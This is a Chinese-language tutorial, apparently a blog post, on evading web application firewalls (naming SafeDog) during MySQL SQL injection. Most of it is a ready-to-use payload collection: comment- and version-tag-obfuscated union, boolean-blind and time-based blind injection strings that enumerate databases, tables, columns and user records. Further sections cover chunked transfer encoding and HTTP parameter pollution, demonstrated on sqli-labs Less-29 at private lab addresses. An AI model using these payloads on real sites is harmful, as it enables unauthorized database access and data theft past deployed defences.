目录
组合绕过waf
先看一些语句
绕过方式
我给出的注入语句是:
这里要注意的几点是:
组合绕过方式
完整过狗注入语句集合
http请求分块传输方法
其它方式绕过
http参数污染绕过waf
面试题:如何参数污染绕过waf
可以通过http参数污染绕过waf参数拦截:
先看一些语句
http://192.168.222.128/test/sql.php?id=1 /*!union*//*%!aa*//*!select*/ 1,2,3先判断注入点,把and为&&,urlencode后为%26%26
-------------------------------------
http://192.168.0.102:8080/sql.php?id=1%20%26%26%20-1=-2
绕过方式
1.利用()代替空格
2.利用mysql特性 /*!*/ 执行语句
3.利用注释符号/**/混淆代码
-
我给出的注入语句是:
union/*%00*//*!50010select*/(database/**/()),(user/**/())%23 id=1/*|%23--%23|*/unioN/*|%23--%23|*/sElect/*|%23--%23|*/1,user(), (database/**/()),4,5
------------------------------------------------------------------------------
http://192.168.0.102:8080/sql.php?id=1 union/*%00*//*!50010select*/1,user(),version(),4,5
这里要注意的几点是:
1.mysql关键字中是不能插入/**/的,即se/**/lect是会报错的 但是函数名和括号之间是可以加上/**/的,像database/**/()这样的代码是可以执行的
2./*!*/中间的代码是可以执行的,其中50010为mysql版本号 只要mysql大于这个版本就会执行里面的代码
3.数据或者函数周围可以无限嵌套()
4.利用好%00 user())
组合绕过方式
-
完整过狗注入语句集合
判断: 1'/**/%26%261%3d2%23
判断列数: 1' order by 2%23
关联查询爆出用户和数据库: 1%27%20union/*%00*//*!50010select*/(database/**/()),
(user/**/())%23
关联查询爆出数据表:
%27%20union/*%00*//*!50010select*/((group_concat(table_name))),null/**/from/**/( (information_schema.TABLES))/**/where/**/TABLE_SCHEMA%3d(database/**/())%23
关联查询爆出字段值:
%27%20union/*%00*//*!50010select*/((group_concat(COLUMN_NAME))),null/**/from/**/ ((information_schema.columns))/**/where/**/TABLE_NAME%3d%27users%27%23
关联查询提取数据:
%27%20union/*%00*//*!50010select*/((group_concat(first_name))),null/**/from/**/( (users))%23
盲注爆出数据库: 1' and substr(database/**/(),1,1)%3d'1'%23
盲注爆出数据表: 1'/*%00*/and substr((/*!50010select*/((group_concat(table_name)))/**/from/**/((information_sc hema.TABLES))/**/where/**/TABLE_SCHEMA%3d(database/**/())),1,1)%3d'1'%23
盲注爆出字段值: 1'/*%00*/and substr((/*!50010select*/((group_concat(COLUMN_NAME)))/**/from/**/((information_s chema.columns))/**/where/**/TABLE_NAME%3d%27users%27),1,1)%3d'1'%23
盲注提取数据: 1'/*%00*/and substr((/*!50010select*/((group_concat(first_name)))/**/from/**/((users))),1,1)% 3d'1'%23
基于时间的盲注爆出数据库: 1'/*%00*/and (select case when (substr(database/**/(),1,1) like 'd') then sleep/**/(3) else 0 end)%23
基于时间的盲注爆出数据表: 1'/*%00*/and (select case when (substr((/*!50010select*/((group_concat(table_name)))/**/from/**/((information_s chema.TABLES))/**/where/**/TABLE_SCHEMA%3d(database/**/())),1,1) like 'd') then sleep/**/(3) else 0 end)%23
基于时间的盲注爆出字段值: 1'/*%00*/and (select case when (substr((/*!50010select*/((group_concat(COLUMN_NAME)))/**/from/**/((information_ schema.columns))/**/where/**/TABLE_NAME%3d%27users%27),1,1) like 'd') then sleep/**/(3) else 0 end)%23
基于时间的盲注提取数据: 1'/*%00*/and (select case when (substr((/*!50010select*/((group_concat(first_name)))/**/from/**/((users))),1,1) like 'd') then sleep/**/(3) else 0 end)%23
http请求分块传输方法
-
添加http头信息
- Transfer-Encoding:chunked
-
看到chunked 服务端就会等待 id=1 union 等待后面得数据过来
看到0那么就会停止或者好几个换行符 就是本次换行得整体数据。
用一个插件来修改 数据分块插件来修改【分块编码转换】 BP来处理
-
依靠连续传输完成注入,分包过waf,但是到了服务器那边时
看到最后数长度为0时或者看到好几个回车换行符
表示数据传输完成。这个手段还是很不错的
这个需要你对数据传输的数据包非常熟悉才玩的出来
其它方式绕过
Union -> /*!Union/*/**/
Select -> /*!/*!Select*/
Database() -> /*!database/*/**//*!/*!()*/
使用这种方法SQL语句依然可以正确执行,而且会完美过狗!
-
但是这里比较坑的一点是安全狗3.5版本会拦截关键字information_schema
-
这样利用起来就比较麻烦了,不过私神还是提供了一种方法绕过:
-
当mysql版本>=5.6时,可以用如下语句代替:
-
Select table_name from mysql.innodb_table_stats where database_name = database();
服务端去除nginx XFF-IP 就是真是ip
而 remote就变成了 nginx 转换所在得ip地址
Nginx配置配置x-Forwarded 就能拿到nginx正常转发之前得ip
-
Bypass WF 插件如何使用 这个要明白
http参数污染绕过waf
面试题:如何参数污染绕过waf
- 也就是参数重复 &(and)符号后多加几个重复得参数一般情况下都是回去除最后一个参数
sql-labs的Less 29关的正确打开方式:
http://192.168.18.21/sqli-labs-master/Less-29/login.php
输入
http://192.168.18.21/sqli-labs-master/Less-29/login.php?id=1
发现输出结果为id=1的值
http://192.168.18.21/sqli-labs-master/Less-29/login.php?id=1&id=2
发现输出结果为id=2的值
http://192.168.18.21/sqli-labs-master/Less-29/login.php?id=1&id=2&id=3
发现输出结果为id=3的值
综上,发现mysql中用&连接多个参数,只输出最后一个参数的结果。
输入
http://192.168.18.21/sqli-labs-master/Less-29/login.php?id=1'&id=2&id=3
页面显示注入被拦截。
http://192.168.18.21/sqli-labs-master/Less-29/login.php?id=1&id=2'&id=3
页面无变化。
http://192.168.18.21/sqli-labs-master/Less-29/login.php?id=1&id=2&id=3'
页面报数据库错误。
说明第一个参数被waf拦截,中间的参数无影响,最后一个参数被带到数据库中执行。
本关存在php的一个hpp漏洞,当同时传递多个参数时,不同的服务器可能会取得不同的参数值。
可以通过http参数污染绕过waf参数拦截:
- 如果是$_get(id)获取id,则可以在参数后添加参数,对最后的参数进行注入,即可绕过waf。
- 也就是说waf只检查第一个参数,而应用程序取最后一个参数代入数据库执行。
喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。